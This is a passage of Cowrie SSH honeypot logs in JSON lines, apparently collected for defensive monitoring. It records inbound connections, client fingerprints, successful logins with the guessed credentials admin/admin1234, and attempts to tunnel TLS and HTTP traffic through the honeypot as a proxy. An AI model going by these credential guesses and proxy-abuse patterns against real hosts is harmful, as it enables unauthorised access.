deflate\\r\\n\\r\\n_=c0JAbng2QEpyTn42VHVsPg%3D%3DyLJET0iOCctGLiBrSWMWy5UVUIlh1E1KZ69zBjt%2BTkJCmO6Eegwny8jhUFeb7dMIIb6u%2Bl4vc4Do2a1tmuMqS3bkanRVPlXgzfCEnt%2Br1zjNuJSD35NDK%2BMoAupxYW4SpnJe09IlN%2BEzxmvtGvF7yrSReXbGt7JJwg4X7j62Rg0FICgVVw70Sb3sCA3RxnpaEjEp7dDCec6oRUFEsyCLT3wZy9qecmygsFqibqwSdhlURD%2BVC6YLyjouE0Po%2BemNsVrPNAoUNW%2FCfUGYOx%2FQYEVHu7y1yn%2FMuK7pGOPEqNzkmLMhoOpDcXQ8h7Ew7o8Kqu4FK7Z0xSKziqDWWroCBD%2F%2BjRHrjCWA7WhcPwYYrf9BlOC%2BGnsBGyHQWcjN534va0V%2F1OiEYPHKoqE9sjniTQ4m2aFWRixM4RKkL1C8hYzo1btsASIK08krRxtOt5Clea5%2FVMwwEpqs8Xl4xDDQUXjiMQucK1k1o1%2F4RCTGLm2CfSdTZvT3Ss8YeB%2BVwweMPVFykmiFqr%2BIGPr699lhvlVVm3HXfLlBRYune0EepK%2BtmGbrDNbY0aDkCcZg6W88hRPQp645BAfA8K%2FK2urMr4F3pwKN1zrpfNAsMxkj7Eo6QpOIgku5%2BrepjuNKjBfgsbb9ILqpEIhJ9aX7Btv1cKfBIfFnrh%2B%2BJZykOEyretU6NYyOBHIP64Offgv%2FdIfX6z1sqU9IBnTvqWEXaa3KhUuBt2pxVATFhHAA8s771FID8z0Lk5g7o5lDt%2BlKzjensaJtcrxMdh2ce2Wf6xT6GDRTQjJ7%2BzJ6aZMwe5hcBsqMdq23xx4o3Y5GlXKCY%2BpS4d52reMtL%2FH%2FsA%2BnlOZHo0gYaVm3%2BiU8ncZ2Vw%2BkBKgRlJuWcGL5Wten%2Bx3eukCtgwEH63ThUdF1mTgmjAP252i%2B8SeLP432sN6R7Y%2BmU4wNAqubeCcMs69poI%2FUDhPARf8HgeJ83FhVWfWA4Cc%2FMrIuagRtpsN4m45sGBNJCu8gwHaR3%2F%2BlOeXQRUDEjdIXTj8j1dPKXWnHN3Ub1kA63D63dhsg4zG9T%2FjbfdWcnKxpdW%2FUjlwyQqsG7QK%2BkMsV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.422817Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56186,"dst_ip":"10.17.0.5","dst_port":22,"session":"e12269b08f9e","protocol":"ssh","message":"New connection: 123.27.168.40:56186 (10.17.0.5:22) [session: e12269b08f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.428455Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.432291Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.486503Z","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.546907Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{} \\xfa\\xe9\\xd9\\xfa\\x04\\xd31!\\xefL\\xf7\\xa5\\xbf\\xe7\\xdf\\xb6\\xc8F\\x03\\xd3\\x0b}K\\xedt\\x89_\\xca\\xe9 \\x90]\\xe0\\x1b\\xc4\\x17\\x02\\xf2i\\x80\\x00\\x81\\xd9\\xc0\\x9c\\x19F\\x91\\x88\\x04\\xbf\\xee\\xe3\\xedH\\xe7\"Q\\xed\\x06\\xa5\\xfe\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1m\\x182\\xab\\x8baY\\x9e\\'\\x19~m+\\x7f13\\xa2\\xf1Xr\\xeb\\x10C#j\\xa0*\\x87\\xfb$\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{} \\xfa\\xe9\\xd9\\xfa\\x04\\xd31!\\xefL\\xf7\\xa5\\xbf\\xe7\\xdf\\xb6\\xc8F\\x03\\xd3\\x0b}K\\xedt\\x89_\\xca\\xe9 \\x90]\\xe0\\x1b\\xc4\\x17\\x02\\xf2i\\x80\\x00\\x81\\xd9\\xc0\\x9c\\x19F\\x91\\x88\\x04\\xbf\\xee\\xe3\\xedH\\xe7\"Q\\xed\\x06\\xa5\\xfe\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1m\\x182\\xab\\x8baY\\x9e\\'\\x19~m+\\x7f13\\xa2\\xf1Xr\\xeb\\x10C#j\\xa0*\\x87\\xfb$\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.549580Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.607790Z","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52376,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbc78e9d8c0e","protocol":"ssh","message":"New connection: 123.27.168.40:52376 (10.17.0.5:22) [session: fbc78e9d8c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.620991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.625030Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.663830Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x83\\xed{\\xea{\\x9c\\x98\\x06\\xe6\\x05\"\\xdb\\x84_vB\\x93\\xb8\\x92u\\xfa\\x05Z-y\\xf4u&\\xdd\\xa5\\xf9 ::.\\xe2\\x96\\xf9\\xcf\\x1cN.\\x8b\\x82\\xc3K\\xbd\\xa5\\x14\\xf8u\\x19a\\x897\\xef\\xe3\\x80v\\xfb)@;y\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xcf%\\xcdhd-\\x0c\\x88\\xdd;m4z\\xea\\n{<&\\x9f\\xbd\\x0bP;\\x951\\x9aF3\\x8f\\x9b9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9\\x83\\xed{\\xea{\\x9c\\x98\\x06\\xe6\\x05\"\\xdb\\x84_vB\\x93\\xb8\\x92u\\xfa\\x05Z-y\\xf4u&\\xdd\\xa5\\xf9 ::.\\xe2\\x96\\xf9\\xcf\\x1cN.\\x8b\\x82\\xc3K\\xbd\\xa5\\x14\\xf8u\\x19a\\x897\\xef\\xe3\\x80v\\xfb)@;y\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xcf%\\xcdhd-\\x0c\\x88\\xdd;m4z\\xea\\n{<&\\x9f\\xbd\\x0bP;\\x951\\x9aF3\\x8f\\x9b9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.667042Z","src_ip":"23.175.50.51","session":"921ff06c3cb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.700064Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:19.934954Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.253928422927856,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:20.106480Z","src_ip":"128.199.8.54","session":"94d4b0d188ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20074,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fb989b1cb4f","protocol":"ssh","message":"New connection: 91.92.40.36:20074 (159.203.135.109:22) [session: 6fb989b1cb4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:20.438148Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:20.853712Z","src_ip":"123.27.168.40","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.033451Z","src_ip":"123.27.168.40","session":"fbc78e9d8c0e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.350678Z","session":"e12269b08f9e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:21.374552Z","src_ip":"91.92.40.36","session":"6fb989b1cb4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 